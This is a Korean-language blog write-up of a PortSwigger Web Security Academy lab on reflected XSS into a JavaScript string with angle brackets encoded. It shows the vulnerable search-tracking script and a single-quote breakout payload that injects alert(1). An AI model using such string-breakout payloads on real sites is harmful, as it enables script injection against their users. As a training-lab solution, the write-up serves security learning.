반응형
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded | Web Security Academy
This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection ...
portswigger.net
[문제]
[풀이]
일반적인 XSS 공격은 막혀있다.
<script>
var searchTerms = '<script>alert(1)</script>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
소스코드를 확인해보면 검색할 시 스크립트 태그가 추가된다.
내용을 보면 입력한 써치구문이 HTML 인코딩이 되어 searchTerms 변수에 저장되고
저장된 변수를 인코딩해서 게시물을 로드하는 것 같다.
' 싱글쿼터를 넣어보니 에러가 뜬다. 문자열을 벗어날 수 있는 취약점이 있다.
'; alert(1); var test='
나의 경우 위같은 문자열을 완성시켰다.
전송하게 되면
<script>
var searchTerms = ''; alert(1); var test='';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
위 스크립트 구문이 완성되고
싱글 쿼터 처리를 위해 임의의 변수를 선언해준다.
반응형